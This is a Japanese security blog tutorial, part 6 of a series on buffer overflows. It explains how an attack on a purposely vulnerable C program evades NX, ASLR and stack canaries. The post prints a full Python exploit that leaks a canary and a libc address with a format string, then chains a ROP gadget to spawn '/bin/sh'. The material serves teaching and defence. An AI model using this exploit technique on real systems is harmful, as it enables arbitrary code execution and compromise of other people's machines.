1. HOME
  2. ブログ
  3. CPUのアーキテクチャから徹底解説 バッファオーバーフローで何が起こるか 第6回~対策をすりぬける攻撃(後編①)

CPUのアーキテクチャから徹底解説 バッファオーバーフローで何が起こるか 第6回~対策をすりぬける攻撃(後編①)

まず、第5回からかなり時間が経過してしまい、この後編をお待ち頂いた方々に大変失礼いたしました。この場をお借りして、お詫び申し上げます。また、まだ前回の記事(第5回~対策をすりぬける攻撃(前編))をご覧になっていない方は、ぜひこの機会に当連載記事に目を通していただければと思います。

さて、いよいよ本連載は最終回となります。バッファオーバーフロー対策をすべてすりぬける攻撃例を紹介します。なお、前編およびこの後編にわたり、コード実装については「ももいろテクノロジー」様のプログラムコードを参考に致しました。この場を借りて、ブログの執筆者様に厚く御礼申し上げます。

参考: https://inaz2.hatenablog.com/entry/2014/07/01/013640、他

第5回の前編では、バッファオーバーフローの脆弱性コード(脆弱性を持つプログラム、以下、同)を紹介しました。プログラム開発者はこうした脆弱性を持たないよう、日夜セキュア・プログラミングをめざして精進しています。それでも防ぎきれない脆弱性が残ってしまうことは起こりえますし、攻撃者は常にその隙間をすりぬけようとします。この後編では、前編で示した脆弱性コードへの具体的な攻撃の手順を示し、実際に攻撃されるとどのようなことが起こるのかを紹介します。 なお、本記事の内容は、バッファオーバーフロー脆弱性の脅威や影響範囲を知っていただく目的で記載しており、悪用を前提とした模倣や脅威を助長するような意図は一切ございません。また下記を精読頂ければ、ここで扱う脆弱性コードやその対策の影響範囲が、CPUアーキテクチャ、OS、ライブラリ等のミドルウェアを含めた、システム全般の稼働状況に及ぼしうることがご理解いただけると思います。従いまして、この記事の趣旨を十分にご理解いただいたうえで決して悪用されないようお願いします。

バッファオーバーフロー対策とすり抜け方法

前編では、バッファオーバーフロー脆弱性を持つC言語コード「weak.c」を実例として示し(「脆弱性コードの実例」)、その対策(表2)を解説した上でそれらの対策をすりぬける方法を紹介しました(「コードに対する攻撃」)。その一覧を改めて表3にまとめました。前編の終わりの説明や図と合わせて参照ください。

No.対策内容すり抜け方法
1NXスタック上にプログラムを配置されることへの対策。NX  bit によってスタック上のプログラム実行を抑止する。libcや実行ファイルのプログラムの実行が禁止できないことを利用し、すり抜ける。
2ASLR (+PIE)libcや実行ファイルのプログラムを不正に利用されることを抑止。プログラムのアドレスを実行のたびにランダムにすることで攻撃者はどのアドレスで上書きすればよいかがわからなくなる。このことによりプログラムの不正利用が難しくなる。配置位置はランダムだが、各関数のプログラム先頭からの相対アドレス(アドレスのオフセット)は変わらないことを利用し、libcのsystem()関数のアドレスと、不正実行されるプログラムのオフセットを不正入手して、すり抜ける。オフセット値入手にはFSA (Format String Attack)を利用。
3SSPプログラム実行開始時に識別したcanary値による制御情報の書き換えが検知される。プログラムはcanaryの値が変われば制御情報も書き換えられたと判定し、即時終了する。これが制御情報の書き換えによる攻撃を困難にしている。Improper Null Terminationの脆弱性を利用しcanaryを読み取っておき、不正実行のスタック書き換え時に、このcanary値を改めて上書きすることで、不正実行時にcanary書き換えが検知されず、すりぬけられるようになる。
表 3 脆弱性コード「weak.c」へのバッファオーバーフロー対策とすり抜け方法の一覧

攻撃の実際について

以下の攻撃では、上記で整理した3つの対策 (NX, ASLR(+PIE), SSP)をすべてすり抜けた上で、脆弱性コードに外部コマンド「/bin/sh」を実行させます。つまり、脆弱性コード「weak.c」上に「/bin/sh」コマンド実行は実装されていないにも関わらず、攻撃成功時に脆弱性コードは「/bin/sh」コマンドを実行できるようになります。これは脆弱性情報でよく見る「任意のコード実行を可能とする」実例と言えます。

攻撃のスキームについて

脆弱性コードが最終的に「/bin/sh」を不正実行するまでの攻撃のスキームを図5に表しています。

スキーム全体は、コード脆弱性のImproper Null Termination(前編の表1 No.3参照)、Format String Attack (同No.4)を利用し、漏えいしたリターンアドレスから、標準Cライブラリ(libc)上の「/bin/sh」と「rop (Return Oriented Programming) gadget」 (同No.5) 命令のアドレスを求めて実行する、という流れになります。攻撃中は同じく漏えいで得たcanary値を用い、SSP対策(本講表1 No.3参照)のチェック時は正しいcanary値を書き込むことですり抜けます。

攻撃#1では、脆弱性コードweak.c 17行目のprintf()実行時にcanary値と「weak.c」のリターンアドレスを入手します。

そのための仕掛けが15行目にbuffer変数にgets()で代入される21バイトの文字列 “%21$08x”(7)-“A”(14連結)です。この文字列で、なぜcanary値とリターンアドレスが出力されるか、説明しましょう。

「weak.c」のbufferサイズ20バイトを超えるため、strncpy()(16行目)の実行で、line領域の終端文字 “0x00” が “A”(=0x41) で上書きされます。この状態で17行目のprintf()が実行されると、Improper Null Terminationにより、終端文字 “0x00” がないまま canary値まで出力されます。

またprintf()は書式文字列 “%21$08x” を解釈するため、printfにとって21番目の引数がちょうど「weak.c」のリターンアドレスであり(同時にこれは、後述の通りlibcの__libc_start_main()アドレスです)、それが出力される、というわけです。

攻撃#2は、23行目のreturn実行時に、改ざん済みの「rop gadget」アドレスにリターンし、その引数である「/bin/sh」が実行されます。

攻撃#1 (脆弱性コード17行目)に不正入手したリターンアドレスは、libc(標準Cライブラリ)の__libc_start_main()アドレスであることを利用し、攻撃コードが事前情報として所有するlibc内の「/bin/sh」と「rop gadget」のオフセット値から、これらのアドレスを算出します。

20行目のgets(line)実行時には、canary値を正しい値に上書きし、リターンアドレスの部分に「rop gadget」アドレスを、引数の部分に「/bin/sh」アドレスを、それぞれ上書きしておきます。 この状態で23行目のreturn実行時には、攻撃コードの目的である「/bin/sh」が不正に実行開始されます。

図 5 攻撃のスキーム(図中の脆弱性No.1~5は前編 表1を、攻撃のStep1~4は下記本文を各々参照ください)

攻撃に使うコードについて

今回の攻撃に使うコードは以下のPythonスクリプトです(以下、攻撃コードと呼びます)。攻撃コードの詳細説明は省略しますので、アルゴリズム内容の理解やコードリーディングは各々お願いいたします。 攻撃の流れは、97行目~117行目の mainメソッド(C言語で言う、関数のようなもの)に各機能別にクラスとメソッドを実装しています。

1	#!/usr/bin/env python3
2	# exploit.py
3	
4	import sys
5	import struct
6	from enum import Enum
7	from subprocess import Popen, PIPE
8	
9	bufsize = int(sys.argv[1])
10	
11	class LibcOffsets(Enum):
12	    # system 関数のオフセット
13	    # nm -D /lib/arm-linux-gnueabihf/libc.so.6 | grep \ system
14	    system = 0x000389b8
15	
16	    # /bin/sh 文字列のオフセット
17	    # strings -tx /lib/arm-linux-gnueabihf/libc.so.6 | grep /bin/sh
18	    binsh = 0x12b3dc
19	
20	    # libc rop gadget のオフセット
21	    # ropper -f /lib/arm-linux-gnueabihf/libc.so.6 --search pop\ {r0
22	    ropgadget = 0x0007905c
23	
24	    # __libc_start_main 関数と、実行ファイルから __libc_start_main に戻る箇所の
25	    # オフセット。 gdb で戻り直後のアドレスを得ることでオフセットを計算する。
26	    start_main_return = 268
27	
28	    # __libc_start_main 関数のオフセット
29	    # objdump -d /lib/arm-linux-gnueabihf/libc.so.6 | \
30	    #       grep __libc_start_main | head -n 1
31	    libc_start_main = 0x0001760c
32	
33	class LibcBase(object):
34	    def __init__(self, main_lp_value: int):
35	        self.lp = main_lp_value
36	        self.libc_start_main = self.lp - LibcOffsets.start_main_return.value
37	        self.address = self.libc_start_main - LibcOffsets.libc_start_main.value
38	
39	class LibcAddressCalc(object):
40	    def __init__(self, libc_base: LibcBase):
41	        self.base = libc_base
42	        self.system = libc_base.address + LibcOffsets.system.value
43	        self.binsh = libc_base.address + LibcOffsets.binsh.value
44	        self.ropgadget = libc_base.address + LibcOffsets.ropgadget.value
45	
46	class TargetProcess(object):
47	    def __init__(self):
48	        self.p = Popen(['./a.out'], stdin=PIPE, stdout=PIPE, bufsize=0)
49	        self.print_count = 0
50	        self.pid = self.p.pid
51	
52	    def input_bytes(self: 'TargetProcess', b: bytes):
53	        self.__print_input(b)
54	        self.p.stdin.write(b)
55	
56	    def input_str(self: 'TargetProcess', s: str):
57	        b = bytes(s, 'ascii')
58	        self.__print_input(b)
59	        self.p.stdin.write(b)
60	
61	    def close(self):
62	        (out, err) = self.p.communicate()
63	
64	    def print_output(self: 'TargetProcess') -> bytes:
65	        line_bytes = self.p.stdout.readline()
66	        print(f'[process stdout] {line_bytes}')
67	        return line_bytes
68	
69	    def __print_input(self: 'TargetProcess', b: bytes):
70	        print(f'[process stdin] {b}')
71	
72	def make_fsa_strings(size: int) -> (str, int):
73	    buf = '%21$08x'
74	    buf_a = 'A' * (size - len(buf))
75	    buf = buf + buf_a
76	    return buf, len(buf_a)+8
77	
78	def parse_output(d: bytes, ln: int) -> (LibcBase, bytes):
79	    libc_base = LibcBase(int(d[0:8], 16))
80	    canary = bytes(1) + d[ln:ln+3]
81	    return libc_base, canary
82	
83	def make_bof_bytes(size: int, canary: bytes, libc_base: LibcBase) -> bytes:
84	    addresses = LibcAddressCalc(libc_base)
85	
86	    line: bytes = bytes('A' * (bufsize - 1), 'ascii')
87	    line = line + canary
88	    line = line + bytes(12)
89	    line = line + struct.pack('<I', addresses.ropgadget)
90	    line = line + struct.pack('<I', addresses.binsh)
91	    line = line + bytes('AAAA', 'ascii')
92	    line = line + struct.pack('<I', addresses.system)
93	    line = line + bytes('\n', 'ascii')
94	
95	    return line
96	
97	def main():
98	    target = TargetProcess()
99	    print(f'a.out pid: {target.pid}')
100	    input('input any to start. >')
101	
102	    (buf, expect_len) = make_fsa_strings(bufsize)
103	    target.input_str(f'{len(buf)}\n')
104	    target.input_str(f'{buf}\n')
105	    line = target.print_output()
106	    target.print_output()
107	
108	    (libc_base, canary) = parse_output(line, expect_len)
109	    print(f'[attack code output] libc_start_main return address = {libc_base.lp:08x}')
110	    print(f'[attack code output] libc base address = {libc_base.address:08x}')
111	    print(f'[attack code output] canary = {repr(canary)}')
112	
113	    target.input_bytes(make_bof_bytes(bufsize, canary, libc_base))
114	    target.print_output()
115	    target.input_str('id\n')
116	    target.print_output()
117	    target.close()
118	
119	if __name__ == '__main__':
120	    main()

このmain()メソッド(上記97-117行目の部分の動きを中心に、実際の攻撃コードの動きからバッファオーバーフロー攻撃方法を説明します。mainメソッドは主に以下4つのステップで構成されています。また脆弱性コードとの関連は、図5のオレンジの各Stepのボックスを参照ください。

【Step1】 データ漏えいを意図した文字列を準備する(上記リストの102~106行目抜粋)

102    (buf, expect_len) = make_fsa_strings(bufsize)
103    target.input_str(f'{len(buf)}\n')
104    target.input_str(f'{buf}\n')
105    line = target.print_output()
106    target.print_output()

【Step2】 漏えいしたデータをヒントに脆弱性コードに実行させたい標準関数のアドレスを計算する(上記リストの108行目抜粋)

108    (libc_base, canary) = parse_output(line, expect_len)

【Step3】 バッファオーバーフロー攻撃の文字列を組み立てる(上記リストの113行目抜粋)
【Step4】 バッファオーバーフロー攻撃の実行(上記リストの113行目抜粋)

113	target.input_bytes(make_bof_bytes(bufsize, canary, libc_base))

今回はここまでにします。
次回は、各ステップについて詳細に説明します。


著者

株式会社ATTC(エーティーティーシー) 尾關晃充

元々はWebアプリケーションのサーバサイドエンジニアだった。
ATTC入社後はセキュリティ製品開発に携わっている。
現在は「ATTC Control Flow Integrity」の開発担当を務め
セキュリティや脆弱性対策に取り組んでいる。

株式会社ATTC(エーティーティーシー) 飯嶋弘久

暗号をコアとする情報セキュリティの理論と応用、決済セキュリティ、組み込み系IoT等の専門領域でR&D、コンサルティング、テクニカルサポート等に従事。工学博士(電子工学)

CPUのアーキテクチャから徹底解説 バッファオーバーフローで何が起こるか」の最新話は、メールマガジンにてもご案内致しています。是非JAPANSecuritySummit Updateのメールマガジンにご登録ください。
メールマガジンの登録はこちらからお願いします。

関連記事

サイバーセキュリティの課題をテーマ別に紹介中!!